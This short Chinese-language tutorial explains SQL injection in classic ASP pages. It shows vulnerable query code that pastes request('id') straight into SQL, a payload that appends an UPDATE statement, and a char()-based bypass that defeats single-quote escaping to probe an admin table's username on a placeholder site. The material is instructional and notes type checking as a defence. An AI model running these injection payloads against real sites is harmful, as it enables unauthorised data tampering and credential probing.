例:
a.asp页面取值SQL语句:sql="select * from tb where id='"+request("id")+"'"
页面传过来的值为:a.asp?id=4';update tb set name='我是恶意代码
这样SQL语句组合完后为:
select * from tb where id='4';update tb set name='我是恶意代码'
这样就把数据库中的值改变了。
过滤单引号只能防止字符型参数的注入,而对于象list.asp?id=1这样的数值型参数,仅仅把单引号过滤掉或者换成''是不行的,还应该对参数的类型进行判断。
下面简单说明一下数值型参数的注入和防护。
url:
www.xxx.com/list.asp?id=1
源代码:
id=replace(request("id"),"'","''")
sql="select * from users where id="&id
rs.open sql,conn,1,1
代码中替换了单引号
常规的注入方法:
http://www.xxx.com/list.asp?id=1 and 'abc'=(select username from admin where id=1)
因为代码中把'替换成了'',所以提交后
id=1 and ''abc''=(select username from admin where id=1)
查询语句变成了
sql="select * from users where id=1 and ''abc''=(select username from admin where id=1)"
显示这样的语句是通不过的。不过我们可以用char绕过单引号
http://www.xxx.com/list.asp?id=1 and char(97)+char(98)+char(99)=(select username from admin where id=1)
char(97)+char(98)+char(99)得到的结果就是字符串'abc',这样即没有单引号,又达到了我们的目的。